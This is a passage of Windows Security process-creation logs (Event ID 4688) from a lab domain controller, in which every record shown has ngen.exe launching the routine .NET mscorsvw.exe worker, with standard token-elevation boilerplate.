Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:54 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255297
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1288
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 930 -InterruptEvent 0 -NGENProcess 8e0 -Pipe 8f8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:54 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255296
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc8c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 8e0 -InterruptEvent 0 -NGENProcess 9b4 -Pipe 960 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:54 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255295
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10f8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 8f8 -InterruptEvent 0 -NGENProcess 9b4 -Pipe 920 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:55 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255318
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1120
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9c0 -InterruptEvent 0 -NGENProcess 9f0 -Pipe 9e4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:55 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255317
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1034
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9f0 -InterruptEvent 0 -NGENProcess 9d8 -Pipe a04 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:55 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255316
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa2c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9c0 -InterruptEvent 0 -NGENProcess 9d8 -Pipe a00 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:55 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255315
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe48
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9d8 -InterruptEvent 0 -NGENProcess 8ec -Pipe 9e0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:55 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255314
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11f8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 8ec -InterruptEvent 0 -NGENProcess 930 -Pipe 9f4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:55 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255313
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1028
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9d8 -InterruptEvent 0 -NGENProcess 930 -Pipe 9f8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:55 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255312
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1140
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9c0 -InterruptEvent 0 -NGENProcess 930 -Pipe 8e0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:55 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255311
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5cc
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 96c -InterruptEvent 0 -NGENProcess 930 -Pipe 958 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:55 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255310
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1050
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9e0 -InterruptEvent 0 -NGENProcess 930 -Pipe 97c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:55 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255309
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb3c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9d0 -InterruptEvent 0 -NGENProcess 930 -Pipe 9c4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:55 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255308
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4ac
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9c4 -InterruptEvent 0 -NGENProcess 930 -Pipe 9bc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:56 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255327
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf94
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a40 -InterruptEvent 0 -NGENProcess 9fc -Pipe a38 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:56 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255326
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x50c
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9fc -InterruptEvent 0 -NGENProcess a2c -Pipe a3c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:56 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255325
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1038
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a2c -InterruptEvent 0 -NGENProcess 930 -Pipe a30 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:56 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255324
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1310
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9fc -InterruptEvent 0 -NGENProcess 930 -Pipe 9ec -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:09:56 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
